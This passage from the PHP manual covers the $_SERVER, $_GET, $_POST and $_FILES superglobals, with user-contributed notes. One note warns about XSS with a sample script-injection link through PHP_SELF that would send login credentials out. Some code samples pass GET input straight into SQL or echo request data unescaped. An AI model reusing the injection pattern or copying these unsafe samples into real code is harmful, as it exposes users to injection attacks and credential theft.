    ["__CF_USER_TEXT_ENCODING"]=>
    string(9) "0x1F5:0:0"
    ["PHP_SELF"]=>
    string(10) "Shell.php"
    ["SCRIPT_NAME"]=>
    string(10) "Shell.php"
    ["SCRIPT_FILENAME"]=>
    string(10) "Shell.php"
    ["PATH_TRANSLATED"]=>
    string(10) "Shell.php"
    ["DOCUMENT_ROOT"]=>
    string(0) ""
    ["REQUEST_TIME"]=>
    int(1247162183)
    ["argv"]=>
    array(1) {
      [0]=>
      string(10) "Shell.php"
    }
    ["argc"]=>
    int(1)
  }
chris 03-Jul-2009 01:01
A table of everything in the $_SERVER array can be found near the bottom of the output of phpinfo();
pudding06 at gmail dot com 02-May-2009 11:44
Here's a simple, quick but effective way to block unwanted external visitors to your local server:

<?php
// only local requests
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') die(header("Location: /"));
?>

This will direct all external traffic to your home page. Of course you could send a 404 or other custom error. Best practice is not to stay on the page with a custom error message as you acknowledge that the page does exist. That's why I redirect unwanted calls to (for example) phpmyadmin.
dragon[dot]dionysius[at]gmail[dot]com 29-Apr-2009 07:53
I've updated the function of my previous poster and putted it into my class.

<?php
    /**
     * Checking HTTP-Header for language
     * needed for various system classes
     *
     * @return    boolean    true/false
     */
    private function _checkClientLanguage()
    {
        $langcode = (!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
        $langcode = (!empty($langcode)) ? explode(";", $langcode) : $langcode;
        $langcode = (!empty($langcode['0'])) ? explode(",", $langcode['0']) : $langcode;
        $langcode = (!empty($langcode['0'])) ? explode("-", $langcode['0']) : $langcode;
        return $langcode['0'];
    }
?>

Please note, you have to check additional the result! Because the header may be missing or another possible thing, it is malformed. So check the result with a list with languages you support and perhaps you have to load a default language.

<?php

// if result isn't one of my defined languages
            if(!in_array($lang, $language_list)) {
                $lang = $language_default; // load default

?>

My HTTP_ACCEPT_LANGUAGE string:
FF3: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
IE7: de-ch

So, take care of it!
Vladimir Kornea 14-Mar-2009 02:06
1. All elements of the $_SERVER array whose keys begin with 'HTTP_' come from HTTP request headers and are not to be trusted.

2. All HTTP headers sent to the script are made available through the $_SERVER array, with names prefixed by 'HTTP_'.

3. $_SERVER['PHP_SELF'] is dangerous if misused. If login.php/nearly_arbitrary_string is requested, $_SERVER['PHP_SELF'] will contain not just login.php, but the entire login.php/nearly_arbitrary_string. If you've printed $_SERVER['PHP_SELF'] as the value of the action attribute of your form tag without performing HTML encoding, an attacker can perform XSS attacks by offering users a link to your site such as this:

<a href='http://www.example.com/login.php/"><script type="text/javascript">...</script><span a="'>Example.com</a>

The javascript block would define an event handler function and bind it to the form's submit event. This event handler would load via an <img> tag an external file, with the submitted username and password as parameters.

Use $_SERVER['SCRIPT_NAME'] instead of $_SERVER['PHP_SELF']. HTML encode every string sent to the browser that should not be interpreted as HTML, unless you are absolutely certain that it cannot contain anything that the browser can interpret as HTML.
info at mtprod dot com 23-Jan-2009 11:13
On Windows IIS 7 you must use $_SERVER['LOCAL_ADDR'] rather than $_SERVER['SERVER_ADDR'] to get the server's IP address.
jonbarnett at gmail dot com 24-Nov-2008 06:13
It's worth noting that $_SERVER variables get created for any HTTP request headers, including those you might invent:

If the browser sends an HTTP request header of:
X-Debug-Custom: some string

Then:

<?php
$_SERVER['HTTP_X_DEBUG_CUSTOM']; // "some string"
?>

There are better ways to identify the HTTP request headers sent by the browser, but this is convenient if you know what to expect from, for example, an AJAX script with custom headers.

Works in PHP5 on Apache with mod_php.  Don't know if this is true from other environments.
jette at nerdgirl dot dk 01-Nov-2008 08:43
Windows running IIS v6 does not include $_SERVER['SERVER_ADDR']

If you need to get the IP addresse, use this instead:

<?php
$ipAddress = gethostbyname($_SERVER['SERVER_NAME']);
?>
geoffrey dot hoffman at gmail dot com 26-Oct-2008 02:13
If you are looking at $_SERVER['HTTP_USER_AGENT'] to determine whether your user is on a mobile device, you may want to visit these resources:

http://wurfl.sourceforge.net/

http://www.zytrax.com/tech/web/mobile_ids.html
Thomas Urban 22-Oct-2008 10:19
Maybe you're missing information on $_SERVER['CONTENT_TYPE'] or $_SERVER['CONTENT_LENGTH'] as I did. On POST-requests these are available in addition to those listed above.
Taomyn 12-Oct-2008 04:21
'HTTPS'
    Set to a non-empty value if the script was queried through the HTTPS protocol. Note that when using ISAPI with IIS, the value will be off if the request was not made through the HTTPS protocol.

Does the same for IIS7 running PHP as a Fast-CGI application.
Tonin 16-Sep-2008 07:43
When using the $_SERVER['SERVER_NAME'] variable in an apache virtual host setup with a ServerAlias directive, be sure to check the UseCanonicalName apache directive.  If it is On, this variable will always have the apache ServerName value.  If it is Off, it will have the value given by the headers sent by the browser.

Depending on what you want to do the content of this variable, put in On or Off.
Andrew B 09-Sep-2008 01:26
Please note on Windows/IIS - the variable 'USER_AUTH' will return the username/identity of the user accessing the page, i.e. if anonymous access is off, you would normally get back "$domain\$username".
jeff at example dot com 12-Aug-2008 08:24
Note that, in Apache 2, the server settings will affect the variables available in $_SERVER. For example, if you are using SSL, the following directive will dump SSL-related status information, along with the server certificate and client certificate (if present) into the $_SERVER variables:

SSLOptions +StdEnvVars +ExportCertData
silverquick at gmail dot com 06-Aug-2008 02:55
I think the HTTPS element will only be present under Apache 2.x. It's not in the list of "special" variables here:
http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html#RewriteCond
But it is here:
http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html#rewritecond
emailfire at gmail dot com 26-May-2008 04:49
REQUEST_URI is useful, but if you want to get just the file name use:

<?php
$this_page = basename($_SERVER['REQUEST_URI']);
if (strpos($this_page, "?") !== false) $this_page = reset(explode("?", $this_page));
?>


HTTP GET variables

  • « $_SERVER
  • $_POST »
  • PHP Manual
  • Predefined Variables
  • HTTP GET variables

$_GET

$HTTP_GET_VARS [deprecated]

(PHP 4 >= 4.1.0, PHP 5)

$_GET -- $HTTP_GET_VARS [deprecated] — HTTP GET variables

Description

An associative array of variables passed to the current script via the URL parameters.

$HTTP_GET_VARS contains the same initial information, but is not a superglobal. (Note that $HTTP_GET_VARS and $_GET are different variables and that PHP handles them as such)

Changelog

Version | Description
4.1.0 | Introduced $_GET that deprecated $HTTP_GET_VARS.

Examples

Example #1 $_GET example

<?php
echo 'Hello ' . htmlspecialchars($_GET["name"]) . '!';
?>

Assuming the user entered http://example.com/?name=Hannes

The above example will output something similar to:

Hello Hannes!

Notes

Note:

This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods.

Note:

The GET variables are passed through urldecode().

See Also

  • Handling external variables
  • The filter extension

User Contributed Notes

Anonymous 10-Oct-2014 10:11
There is a smart way to protect the $ _GET input from malicious injection and options for inserting default values:
<?php
// Smart GET function
public function GET($name=NULL, $value=false, $option="default")
{
    $option=false; // Old version depricated part
    $content=(!empty($_GET[$name]) ? trim($_GET[$name]) : (!empty($value) && !is_array($value) ? trim($value) : false));
    if(is_numeric($content))
        return preg_replace("@([^0-9])@Ui", "", $content);
    else if(is_bool($content))
        return ($content?true:false);
    else if(is_float($content))
        return preg_replace("@([^0-9\,\.\+\-])@Ui", "", $content);
    else if(is_string($content))
    {
        if(filter_var ($content, FILTER_VALIDATE_URL))
            return $content;
        else if(filter_var ($content, FILTER_VALIDATE_EMAIL))
            return $content;
        else if(filter_var ($content, FILTER_VALIDATE_IP))
            return $content;
        else if(filter_var ($content, FILTER_VALIDATE_FLOAT))
            return $content;
        else
            return preg_replace("@([^a-zA-Z0-9\+\-\_\*\@\$\!\;\.\?\#\:\=\%\/\ ]+)@Ui", "", $content);
    }
    else false;
}
/*
 DEFAULT: $_GET['page'];
 SMART: GET('page'); // return value or false if is null or bad input
*/
?>
I hope this is helpful. Cheers ;)
Z80user 05-Mar-2013 08:40
in MySQLi

I need write
-. $_GET[actor]
instead of
-. $_GET["actor"]
or
-. $_GET['actor']

NOTE: IIS 7.5 (On Windows Server 2008 R2 Datacenter) with PHP Version 5.4.12 and mysqlnd 5.0.10
Version of MySQL 5.6.10

This code show a Movies with an actor ID_Actor
E.G. URL "http://127.0.0.1/test2.php?actor=14"
<?php
// CONNECT TO THE DATABASE
    $DB_HOST = '';
    $DB_USER = '';
    $DB_PASS = '';
    $DB_NAME = '';

    $mysqli = new mysqli($DB_HOST, $DB_USER, $DB_PASS, $DB_NAME);

    if (mysqli_connect_errno()) {
        printf("Connect failed: %s\n", mysqli_connect_error());
        exit();
    }

// A QUICK QUERY ON A FAKE USER TABLE

    $query = "SELECT DISTINCT Title FROM movie WHERE ID_movie IN ( SELECT DISTINCT ID_Movie FROM actor_scene WHERE ID_actor=$_GET[actor]) ";
    $result = $mysqli->query($query) or die($mysqli->error.__LINE__);

// GOING THROUGH THE DATA
    if($result->num_rows > 0) {
        while($row = $result->fetch_assoc()) {
            echo stripslashes($row['Title'])."<br>";
            echo " ";
        }
    }
    else {
        echo 'NO RESULTS';
    }
// CLOSE CONNECTION
    mysqli_close($mysqli);
?>
zgold 10-Aug-2011 10:58
I don't directly use $_GET due to security concerns, instead I create a new array called $_CLEAN which contains cleaned superglobal variables.

<?php
function clean($elem)
{
    if(!is_array($elem))
        $elem = htmlentities($elem,ENT_QUOTES,"UTF-8");
    else
        foreach ($elem as $key => $value)
            $elem[$key] = $this->clean($value);
    return $elem;
}

$_CLEAN['GET'] = clean($_GET);
?>

I also do this for $_POST, as followed:
<?php $_CLEAN['POST'] = clean($_POST); ?>
Maarten Schroeven 25-Jul-2011 10:09
You can use this function to remove any $_GET variables out of your URL, it takes an array off strings(the names keys of the $_GET you wish to remove) and returns the url with the ones specified removed

<?php
  function getUrlWithout($getNames){
      $url = "http" . ((!empty($_SERVER['HTTPS'])) ? "s" : "") . "://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
      $questionMarkExp = explode("?", $url);
      $urlArray = explode("&", $questionMarkExp[1]);
      $retUrl=$questionMarkExp[0];
      $retGet="";
      $found=array();
      foreach($getNames as $id => $name){
            foreach ($urlArray as $key=>$value){
                if(isset($_GET[$name]) && $value==$name."=".$_GET[$name])
                    unset($urlArray[$key]);
          }
      }
      $urlArray = array_values($urlArray);
      foreach ($urlArray as $key => $value){
          if($key<sizeof($urlArray) && $retGet!=="")
              $retGet.="&";
          $retGet.=$value;
      }
      return $retUrl."?".$retGet;
  }
?>

Example
current url is http://www.example.net/index.php?getVar1=Something&getVar2=10&getVar3=ok
<?php
    echo getUrlWithout(array("getVar1","getVar3"));
    //result will be "http://www.example.net/index.php?getVar2=10"
?>
Daniel M 14-Jan-2011 01:35
If you need to find out whether any GET variables have been specified, you can use the empty() function.

<?php

if(empty($_GET))
    echo "No GET variables";
else
    print_r($_GET);

?>

empty() - http://php.net/manual/en/function.empty.php
print_r() - http://php.net/manual/en/function.print-r.php
chris at bjelleklang dot org 18-Dec-2010 11:40
Please note that PHP setups with the suhosin patch installed will have a default limit of 512 characters for get parameters. Although bad practice, most browsers (including IE) supports URLs up to around 2000 characters, while Apache has a default of 8000.

To add support for long parameters with suhosin, add
suhosin.get.max_value_length = <limit> in php.ini
John Galt 15-Jun-2010 02:57
Just a note, because I didn't know for sure until I tested it.

If you have a query string that contains a parameter but no value (not even an equals sign), like so:
http://path/to/script.php?a

The following script is a good test to determine how a is valued:
<pre>
<?php
 print_r($_GET);
 if($_GET["a"] === "") echo "a is an empty string\n";
 if($_GET["a"] === false) echo "a is false\n";
 if($_GET["a"] === null) echo "a is null\n";
 if(isset($_GET["a"])) echo "a is set\n";
 if(!empty($_GET["a"])) echo "a is not empty";
?>
</pre>

I tested this with script.php?a, and it returned:

a is an empty string
a is set

So note that a parameter with no value associated with, even without an equals sign, is considered to be an empty string (""), isset() returns true for it, and it is considered empty, but not false or null. Seems obvious after the first test, but I just had to make sure.

Of course, if I do not include it in my browser query, the script returns
Array
(
)
a is null
Alberto Lepe dev at alepe dot com 05-Oct-2009 06:23
This Function will help you to manage your GET parameters to facilitate coding and prevent duplication. This is a basic version but it can be easily extended.

<?php
   // Author: Alberto Lepe (www.alepe.com)
    /* Process $_GET to preserve user custom parameters
     * the arguments is a list of URL parameters that should be removed/changed from URL
     * for example:
     *
     * URL = "index.php?s=1&fi=2&m=4&p=3
     *
     * if called: fixGet("s"); the result has to be: ?fi=2&m=4&p=3
     * if called: fixGet("s&m"); the result has to be: ?fi=2&p=3
     * if called: fixGet("s=4"); the result has to be: ?s=4&fi=2&m=4&p=3
     * if called: fixGet("s=2&m"); the result has to be: ?s=2&fi=2&p=3
     * if called: fixGet("s=&m=3"); the result has to be: ?s=&fi=2&m=3&p=3
     * if called: fixGet("s=2&m="); the result has to be: ?s=2&fi=2&m=&p=3
     * Special: when it ends with a =":" its to leave it open at the end
     * (just first occurrence) to facilitate concatenation:
     * if called: fixGet("s=2&m:"); the result has to be: ?s=2&fi=2&p=3&m
     * if called: fixGet("s=2&m:="); the result has to be: ?s=2&fi=2&p=3&m=
     *
     * Usage with HTML (using the URL example above and $id = 99):
     *
     * <a href="index.php<?php echo fixGet('m=2&s&fi:=').$id ?>" >Link</a>
     * Explanation: change "m" to 2, delete "s" and "fi" gets the $id value. ("p" is kept as it is not specified)
     * will output: <a href='index.php?m=2&p=3&fi=99'>Link</a>
     */
    public function fixGet($args) {
        if(count($_GET) > 0) {
            if(!empty($args)) {
                $lastkey = "";
                $pairs = explode("&",$args);
                foreach($pairs as $pair) {
                    if(strpos($pair,":") !== false) {
                        list($key,$value) = explode(":",$pair);
                        unset($_GET[$key]);
                        $lastkey = "&$key$value";
                    } elseif(strpos($pair,"=") === false)
                        unset($_GET[$pair]);

                    else {
                        list($key, $value) = explode("=",$pair);
                        $_GET[$key] = $value;
                    }
                }
            }
            return "?".((count($_GET) > 0)?http_build_query($_GET).$lastkey:"");
        }
?>

To test, copy+paste the following code into testFixGet.php

<?php
/*
 * Unit Test for fixGet()
 */
$cases = array (
    0 => array("s" => 1, "fi" => 2, "m" => 4, "p" => 3),
    1 => array("s" => "", "fi" => "", "m" => 4, "p" => 3),
);

$test[0] = array(
    "s" => "fi=2&m=4&p=3",
    "s&m" => "fi=2&p=3",
    "s=4" => "s=4&fi=2&m=4&p=3",
    "s=2&m" => "s=2&fi=2&p=3",
    "s=&m=3" => "s=&fi=2&m=3&p=3",
    "s=2&m=" => "s=2&fi=2&m=&p=3",
    "s=2&m:=" => "s=2&fi=2&p=3&m=",
    "z=9" => "s=1&fi=2&m=4&p=3&z=9",
    "z:" => "s=1&fi=2&m=4&p=3&z",
    "s:&m=3" => "fi=2&m=3&p=3&s",
    "s&m=3" => "fi=2&m=3&p=3",
);
$test[1] = array(
    "s" => "fi=&m=4&p=3",
    "s&m" => "fi=&p=3",
    "s=4" => "s=4&fi=&m=4&p=3",
    "s=2&m" => "s=2&fi=&p=3",
    "s=&m=3" => "s=&fi=&m=3&p=3",
    "s=2&m=" => "s=2&fi=&m=&p=3",
    "s=2&m:=" => "s=2&fi=&p=3&m=",
    "z=9" => "s=&fi=&m=4&p=3&z=9",
    "z:" => "s=&fi=&m=4&p=3&z",
);

foreach($cases as $x => $value) {
    echo "<hr> CASE: $x <hr>\n";
    foreach($test[$x] as $arg => $expected) {
        $_GET = $cases[$x];
        $res = myForm::fixGet($arg);
        echo (($res === "?".$expected)?"OK":"NG ($res)")." [$arg]<br>\n";
    }
}
?>
robotreply at gmail dot com 24-Jul-2009 09:17
Parsing of GET/POST drops duplicate variables unless those variables have "[]" (PHP bugs #10502, #15498 and #16195). Adding "[]" makes a mess of your javascript code, so here is a small workaround to it.

This function basically scans your raw POST and GET input and tries to fix the same. This function must be called near the top of your script. Optimizations are welcome.

<?php
    function php_fix_raw_query() {
        $post = '';

        // Try globals array
        if (!$post && isset($_GLOBALS) && isset($_GLOBALS["HTTP_RAW_POST_DATA"]))
            $post = $_GLOBALS["HTTP_RAW_POST_DATA"];

        // Try globals variable
        if (!$post && isset($HTTP_RAW_POST_DATA))
            $post = $HTTP_RAW_POST_DATA;

        // Try stream
        if (!$post) {
            if (!function_exists('file_get_contents')) {
                $fp = fopen("php://input", "r");
                if ($fp) {
                    $post = '';

                    while (!feof($fp))
                    $post = fread($fp, 1024);

                    fclose($fp);
                }
            } else {
                $post = "" . file_get_contents("php://input");
            }
        }

        $raw = !empty($_SERVER['QUERY_STRING']) ? sprintf('%s&%s', $_SERVER['QUERY_STRING'], $post) : $post;

        $arr = array();
        $pairs = explode('&', $raw);

        foreach ($pairs as $i) {
            if (!empty($i)) {
                list($name, $value) = explode('=', $i, 2);

                if (isset($arr[$name]) ) {
                    if (is_array($arr[$name]) ) {
                        $arr[$name][] = $value;
                    } else {
                        $arr[$name] = array($arr[$name], $value);
                    }
                } else {
                    $arr[$name] = $value;
                }
            }
        }

        foreach ( $_POST as $key => $value ) {
            if (is_array($arr[$key]) ) {
                $_POST[$key] = $arr[$name];
                $_REQUEST[$key] = $arr[$name];
            }
        }

        foreach ( $_GET as $key => $value ) {
            if (is_array($arr[$key]) ) {
                $_GET[$key] = $arr[$name];
                $_REQUEST[$key] = $arr[$name];
            }
        }

    # optionally return result array
        return $arr;
    }

?>
slavik0329 19-Mar-2009 04:01
the addget function below actually has more use when you dont use the recursive merge as such:

<?php

function AddGet($ArrayOrString){
if(is_array($ArrayOrString))
return http_build_query(array_merge($GLOBALS['_GET'], $ArrayOrString));
parse_str($ArrayOrString, $output);
return http_build_query(array_merge($GLOBALS['_GET'], $output));
}

?>

In this case, if the key is added again with a different value it will be replaced with the new value.

addget("change=true"); // ?change=true
addget("change=false"); // ?change=false
timberspine _AT_ gmail _DOT_ com 15-May-2008 01:38
Note that named anchors are not part of the query string and are never submitted by the browser to the server.

Eg.
http://www.xyz-abc.kz/index.php?title=apocalypse.php#doom

echo $_GET['title'];

// returns "apocalypse.php" and NOT "apocalypse.php#doom"

you would be better off treating the named anchor as another query string variable like so:
http://www.xyz-abc.kz/index.php?title=apocalypse.php&na=doom

...and then retrieve it using something like this:
$url = $_GET['title']."#".$_GET['na'];

Hope this helps someone...


HTTP POST variables

  • « $_GET
  • $_FILES »
  • PHP Manual
  • Predefined Variables
  • HTTP POST variables

$_POST

$HTTP_POST_VARS [deprecated]

(PHP 4 >= 4.1.0, PHP 5)

$_POST -- $HTTP_POST_VARS [deprecated] — HTTP POST variables

Description

An associative array of variables passed to the current script via the HTTP POST method.

$HTTP_POST_VARS contains the same initial information, but is not a superglobal. (Note that $HTTP_POST_VARS and $_POST are different variables and that PHP handles them as such)

Changelog

Version | Description
4.1.0 | Introduced $_POST that deprecated $HTTP_POST_VARS.

Examples

Example #1 $_POST example

<?php
echo 'Hello ' . htmlspecialchars($_POST["name"]) . '!';
?>

Assuming the user POSTed name=Hannes

The above example will output something similar to:

Hello Hannes!

Notes

Note:

This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods.

See Also

  • Handling external variables
  • The filter extension

User Contributed Notes

Mohammad Tawaha 31-Mar-2014 02:02
but to make this $_Post work
You Must write in the .HTML file in the form ( action="http://example.php")
<form action="http://example.php" method="post">
....
</form>
if you Do Not put http:// before the .php file it will Not work with you>>>
Thanks!
CXJ 11-Mar-2014 05:18
Note that $_POST is NOT set for all HTTP POST operations,  but only for specific types of POST operations.  I have not been able to find documentation, but here's what I've found so far.

$_POST _is_ set for:

Content-Type: application/x-www-form-urlencoded

In other words,  for standard web forms.

$_POST is NOT set for:

Content-Type:text/xml

A type used for a generic HTTP POST operation.
perdondiego at mailinator dot com 24-May-2011 10:05
In response to "php dot net at bigbadaboom dot net", adding the value attr to the image submit button may not work in older browser (Opera 9.x for example).

A better solution would be to add a hidden input (<input name="hidden" .... /> in the form to handle both cases: when we have a submit button or an image button for submitting
yesk13 at gmail dot com 22-Mar-2010 08:25
you may have multidimensional array in form inputs

HTML Example:

<input name="data[User][firstname]" type="text" />
<input name="data[User][lastname]" type="text" />
...

Inside php script
after submit you can access the individual element like so:

$firstname = $_POST['data']['User']['firstname'];
...
initself 23-Jan-2009 08:08
# This will convert $_POST into a query string

<?php
$query_string = "";
if ($_POST) {
  $kv = array();
  foreach ($_POST as $key => $value) {
    $kv[] = "$key=$value";
  }
  $query_string = join("&", $kv);
}
else {
  $query_string = $_SERVER['QUERY_STRING'];
}
echo $query_string;
?>
james dot ellis at gmail dot com 15-Dec-2008 02:38
One feature of PHP's processing of POST and GET variables is that it automatically decodes indexed form variable names.

I've seem innumerable projects that jump through extra & un-needed processing hoops to decode variables when PHP does it all for you:

Example pseudo code:

Many web sites do this:

<form ....>
<input name="person_0_first_name" value="john" />
<input name="person_0_last_name" value="smith" />
...

<input name="person_1_first_name" value="jane" />
<input name="person_1_last_name" value="jones" />
</form>

When they could do this:

<form ....>
<input name="person[0][first_name]" value="john" />
<input name="person[0][last_name]" value="smith" />
...
<input name="person[1][first_name]" value="jane" />
<input name="person[1][last_name]" value="jones" />
</form>

With the first example you'd have to do string parsing / regexes to get the correct values out so they can be married with other data in your app... whereas with the second example.. you will end up with something like:
<?php
var_dump($_POST['person']);
//will get you something like:
array (
0 => array('first_name'=>'john','last_name'=>'smith'),
1 => array('first_name'=>'jane','last_name'=>'jones'),
)
?>

This is invaluable when you want to link various posted form data to other hashes on the server side, when you need to store posted data in separate "compartment" arrays or when you want to link your POSTed data into different record handlers in various Frameworks.

Remember also that using [] as in index will cause a sequential numeric array to be created once the data is posted, so sometimes it's better to define your indexes explicitly.
paul at youngish dot homelinux^org 08-Dec-2008 10:09
For a page with multiple forms here is one way of processing the different POST values that you may receive.  This code is good for when you have distinct forms on a page.  Adding another form only requires an extra entry in the array and switch statements.

<?php

 if (!empty($_POST))
 {
    // Array of post values for each different form on your page.
    $postNameArr = array('F1_Submit', 'F2_Submit', 'F3_Submit');

    // Find all of the post identifiers within $_POST
    $postIdentifierArr = array();

    foreach ($postNameArr as $postName)
    {
        if (array_key_exists($postName, $_POST))
        {
             $postIdentifierArr[] = $postName;
        }
    }

    // Only one form should be submitted at a time so we should have one
    // post identifier.  The die statements here are pretty harsh you may consider
    // a warning rather than this.
    if (count($postIdentifierArr) != 1)
    {
        count($postIdentifierArr) < 1 or
            die("\$_POST contained more than one post identifier: " .
               implode(" ", $postIdentifierArr));

        // We have not died yet so we must have less than one.
        die("\$_POST did not contain a known post identifier.");
    }

    switch ($postIdentifierArr[0])
    {
    case 'F1_Submit':
       echo "Perform actual code for F1_Submit.";
       break;

    case 'Modify':
       echo "Perform actual code for F2_Submit.";
       break;

    case 'Delete':
       echo "Perform actual code for F3_Submit.";
       break;
    }
}
else // $_POST is empty.
{
    echo "Perform code for page without POST data. ";
}
?>
php dot net at bigbadaboom dot net 15-Jul-2008 10:06
Make sure your submit buttons (ie. <input type="submit"> etc) have a 'value' attribute.  If they don't, the value won't appear in $_POST and so isset($_POST["submit"]) won't work either.

Example:

<input type="submit" name="submit">

isset($_POST["submit"]) returns false

<input type="submit" name="submit" value="Next">

isset($_POST["submit"]) returns true.

This might seem obvious for text buttons since they need a label anyway.  However, if you are using image buttons, it might not occur to you that you need to set a value attribute as well.  For example, the value attribute is required in the following element if you want to be able to detect it in your script.

<input type="image" name="submit" src="next.gif" value="Next">
paul dot chubb at abs dot gov dot au 20-Jun-2008 01:49
Nasty bug in IE6, Apache2 and mod_auth_sspi. Essentially if the user presses the submit button too quickly, $_POST (and the equivalents) comes back empty. The workaround is to set Apache's KeepAliveTimeout to 1. This would mean that the user would need to push submit within a second to trigger the issue.
telconstar99 at hotnospampleasemail dot com 20-May-2008 02:49
<?
//If we submitted the form
if(isset($_POST['submitMe']))
{
     echo("Hello, " . $_POST['name'] . ", we submitted your form!");
}
//If we haven't submitted the form
else
{
?>
    <form action="<?=$_SERVER['PHP_SELF']?>" method="POST">
    <input type="text" name="name"><br>
    <input type="submit" value="submit" name="submitMe">
    </form>
<?
}
?>


HTTP File Upload variables

  • « $_POST
  • $_REQUEST »
  • PHP Manual
  • Predefined Variables
  • HTTP File Upload variables

$_FILES

$HTTP_POST_FILES [deprecated]

(PHP 4 >= 4.1.0, PHP 5)

$_FILES -- $HTTP_POST_FILES [deprecated] — HTTP File Upload variables

Description

An associative array of items uploaded to the current script via the HTTP POST method.

$HTTP_POST_FILES contains the same initial information, but is not a superglobal. (Note that $HTTP_POST_FILES and $_FILES are different variables and that PHP handles them as such)

Changelog

Version | Description
4.1.0 | Introduced $_FILES that deprecated $HTTP_POST_FILES.

Notes

Note:

This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods.

See Also

  • move_uploaded_file() - Moves an uploaded file to a new location
  • Handling File Uploads

User Contributed Notes

Jmanuel_castillo_exe at yahoo dot com 07-Jun-2014 01:18
I spent 3 hours trying to find out why when I upload multiples file $_FILES  return empty, I did noticed it was only when I select files that exceed 3m so I thought it was something related to the MAX_UPLOAD_SIZE that for my surprice came as default as 20m which was very confusing. Later I discovery the problem was in the POST_MAX_SIZE been 3m, so it happen that not only MAX_UPLOAD_SIZE is responsible and that is why I'd like to know there is no error message that shows the cause.
brian at diamondsea dot com 16-Mar-2014 03:11
If you are looking for the $_FILES['error'] code explanations, be sure to read:

Handling File Uploads - Error Messages Explained
http://www.php.net/manual/en/features.file-upload.errors.php
delete dot this dot and dot dots dot gt at kani dot hu 11-Mar-2014 01:29
Here is my version of $_FILES rearrange. Unlike other codes here, this working well on any depth of $_FILES.
<?php
if (!empty($_FILES)) {
    function rearrange_files_array(array $array) {
        foreach ($array as &$value) {
            $_array = array();
            foreach ($value as $prop => $propval) {
                if (is_array($propval)) {
                    array_walk_recursive($propval, function(&$item, $key, $value) use($prop) {
                        $item = array($prop => $item);
                    }, $value);
                    $_array = array_replace_recursive($_array, $propval);
                } else {
                    $_array[$prop] = $propval;
                }
            }
            $value = $_array;
        }
        return $array;
    }
    echo '<pre>'.print_r(rearrange_files_array($_FILES), true).'</pre>';
}
?>
<form method="post" enctype="multipart/form-data" style="clear: both;">
    <h3>upload1</h3>
    <div><label>new0</label><input type="file" name="upload1[new][]" /></div>
    <div><label>new1</label><input type="file" name="upload1[new][]" /></div>
    <div><label>update.id11</label><input type="file" name="upload1[update][id11]" /></div>
    <div><label>update.id12</label><input type="file" name="upload1[update][id12]" /></div>
    <hr />
    <h3>upload2</h3>
    <div><label>new0</label><input type="file" name="upload2[]" /></div>
    <div><label>new1</label><input type="file" name="upload2[]" /></div>
    <div><label>update.id21</label><input type="file" name="upload2[id21]" /></div>
    <div><label>update.id22</label><input type="file" name="upload2[id22]" /></div>
    <hr />
    <div><label>upload3</label><input type="file" name="upload3" /></div>
    <input type="submit" value="go" />
</form>

The output after empty form is posted:
Array
(
    [upload1] => Array
        (
            [new] => Array
                (
                    [0] => Array
                        (
                            [name] =>
                            [type] =>
                            [tmp_name] =>
                            [error] => 4
                            [size] => 0
                        )
                    [1] => Array
                        (
                            [name] =>
                            [type] =>
                            [tmp_name] =>
                            [error] => 4
                            [size] => 0
                        )
                )
            [update] => Array
                (
                    [id11] => Array
                        (
                            [name] =>
                            [type] =>
                            [tmp_name] =>
                            [error] => 4
                            [size] => 0
                        )
                    [id12] => Array
                        (
                            [name] =>
                            [type] =>
                            [tmp_name] =>
                            [error] => 4
                            [size] => 0
                        )
                )
        )
    [upload2] => Array
        (
            [0] => Array
                (
                    [name] =>
                    [type] =>
                    [tmp_name] =>
                    [error] => 4
                    [size] => 0
                )
            [1] => Array
                (
                    [name] =>
                    [type] =>
                    [tmp_name] =>
                    [error] => 4
                    [size] => 0
                )
            [id21] => Array
                (
                    [name] =>
                    [type] =>
                    [tmp_name] =>
                    [error] => 4
                    [size] => 0
                )
            [id22] => Array
                (
                    [name] =>
                    [type] =>
                    [tmp_name] =>
                    [error] => 4
                    [size] => 0
                )
        )
    [upload3] => Array
        (
            [name] =>
            [type] =>
            [tmp_name] =>
            [error] => 4
            [size] => 0
        )
)
badandyomega at gmail dot com 10-Jan-2014 10:27
Others have posted about how the $_FILES array organizes data differently depending on whether the HTML input is a single or multiple type, so it seems to be a common enough problem.  If for some reason you need to mix-and-match the types, or you're not sure which how many files you'll be expecting from a multiple input, this is a very useful way to reorganize the $_FILES array.  Also, unlike some of the earlier posts, the formatting of the new array (i.e. the number of keys and values) is consistent.

<?php
// Reorganize $_FILES array information
$files = Array ();
$i = 0;

// Start with all inputs in $_FILES array
foreach ($_FILES as $input)
{
    $j = 0;

    foreach ($input as $property => $value)
    {
        if (is_array($value))
        {
            $j = count($value); // Number of iterations

            for ($k = 0; $k < $j; ++$k)
            {
                $files[$i + $k][$property] = $value[$k];
            }
        }
        else
        {
            $j = 1;

            $files[$i][$property] = $value;
        }
    }

    $i += $j;
}
?>

The results will look something like this:
$files = Array (
   [0] => Array (
      [name] => ''
      [type] => ''
      [tmp_name] => ''
      [error] => 0
      [size] => 0
   )
)
phazei at gmail dot com 09-Oct-2013 09:51
I realize there are a number of posts here for reformating the php $_FILES array, but they don't handle all cases.  This handles the single case, the multiple file case, and even submitting multiple file arrays.  This way no matter what, before ever touching the files array I call this regardless of what it might be:

<?php
    /**
     * This is to fix the odd files array PHP creates when a file input has a name that's php array:
     * eg: <file name="model[column]" value='file1'> <file name="model[column2][]" value='file2'>
     * becomes:  $_FILES['model']['name'][column] = file1_name.xxx
     *           $_FILES['model']['name'][column2][0] = file2_name.xxx
     *
     * this changes it to:
     *           $files['model'][column]['name'] = file1_name.xxx
     *           $files['model'][column2][0]['name'] = file2_name.xxx
     *
     * This way the file data is grouped together as expected and as it does with a non-array type name attribute
     */
    static public function multi_file_fix($files = null)
    {

        if ($files == null) {
